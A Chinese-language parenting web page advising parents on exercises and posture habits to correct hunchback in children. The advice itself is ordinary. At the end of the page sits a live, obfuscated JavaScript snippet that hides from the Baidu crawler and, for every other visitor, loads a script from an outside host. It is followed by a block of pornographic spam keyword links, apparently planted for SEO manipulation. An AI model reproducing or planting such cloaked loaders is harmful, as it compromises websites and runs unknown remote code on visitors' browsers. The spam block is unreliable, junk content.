當前位置:首頁 > 母嬰 > 育兒知識 > 正文

兒童矯正駝背有什么方法?

2017-04-09 13:20:14  來源:360常識網   熱度:
導語:當家人們看到自己的孩子有駝背現象后,還是不要掉以輕心的,不要覺得孩子以后會慢慢的改正過來,如果在兒童時期骨骼發育的不好,勢必會影響

當家人們看到自己的孩子有駝背現象后,還是不要掉以輕心的,不要覺得孩子以后會慢慢的改正過來,如果在兒童時期骨骼發育的不好,勢必會影響他們的一生,因此及時采用一些矯正措施加促骨骼的發育,起到塑身的作用還是很不錯的,必須要認真對待,那么兒童矯正駝背有什么方法?

1.坐在靠椅上,雙手抓住臀部后的椅面兩側,昂首挺胸,向后張肩,每次堅持10~15分鐘,每日3~4次。

2. 背朝墻,距墻約30厘米,兩腳開立同肩寬,兩臂上舉并后伸,同時仰頭,手觸墻面再還原,反復做10次,每日做2~3次。

3.仰臥床上,在駝背凸出部位墊上6~10厘米厚的物體,全身放松,兩臂自然伸直,手掌朝上,兩肩后張,如此保持仰臥5分鐘以上,每日做2~3次。

4.坐或站立,雙手持體操棒,橫放在肩背部,挺胸抬頭,感到肩背部肌肉酸脹即停,每日早晚各做一次。

上述矯正駝背法,宜在早晨和睡前進行。由于駝背是長期形成的頑固性畸變,所以應循序漸進,持之以恒,才會獲得滿意效果。骨骼有機物成分較多,這樣的骨骼韌性較好,具有較大的可塑性,若不注意坐立行走的姿勢,易發生變形。

①注意端正身體的姿勢,平時不論站立、行走,胸部自然挺直,兩肩向后自然舒展。坐時脊柱挺直。看書寫字時不過分低頭,更不要趴在桌上。人們所說的要“站如松,坐如鐘”是有一定道理的。

②正在發育的青少年最好睡硬板床,以使脊柱在睡眠時保持平直。

③加強體育鍛煉。認真上好體育課,做好課間操,促進肌肉力量的發展。在全面鍛煉的基礎上做矯正體操。矯正體操有很多種,有各種形式的徒手操,有利用各種體育器械的矯正操。矯正駝背主要以增強背肌、挺直軀干和擴張胸廓為主。

上文中對兒童矯正駝背有什么方法給出了明確的介紹,想必大家也都心中有數了,保障孩子更好的發育和成長是家人們的職責所在,不要因為忙碌的工作忽視了孩子的健康,當然了從小培養一個好的生活習慣也是很有必要的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品高清久久| 国产午夜精品久久久久九九电影| 日日噜噜噜噜夜夜爽亚洲精品 | 日韩AV无码精品人妻系列| 国产精品亚洲专区一区| 久久国产乱子伦精品免费一| 日本精品视频在线观看| 久久99精品综合国产首页| 凹凸国产熟女精品视频| 在线精品日韩一区二区三区| 久久国产精品99久久小说| 三上悠亚日韩精品一区在线| 图片区精品综合自拍| 国产福利vr专区精品| 精品午夜福利在线观看| 亚洲精品你懂的在线观看| 免费精品一区二区三区第35| 牛牛在线精品观看免费正| 99热在线精品国产观看| 亚洲精品国产福利一二区| 精品国产高清自在线一区二区三区| 91天堂素人精品系列网站| 久久99国产精品久久99果冻传媒| 国产精品玖玖玖在线观看| 国产麻豆精品久久一二三| 国产精品永久免费| 精品国产粉嫩内射白浆内射双马尾| 久久精品中文騷妇女内射| 久久综合精品视频| 国产精品激情综合久久| 午夜精品久久久久蜜桃| 日本精品视频在线播放| 99精品国产免费久久久久久下载| 99久久精品全部| 久久久精品久久久久影院| 亚洲午夜久久久精品电影院| 久久国产精品久久精品国产| 国产69精品久久久久9999| 国产69精品久久久久999三级| 亚洲精品国产福利片| 久久综合久久自在自线精品自|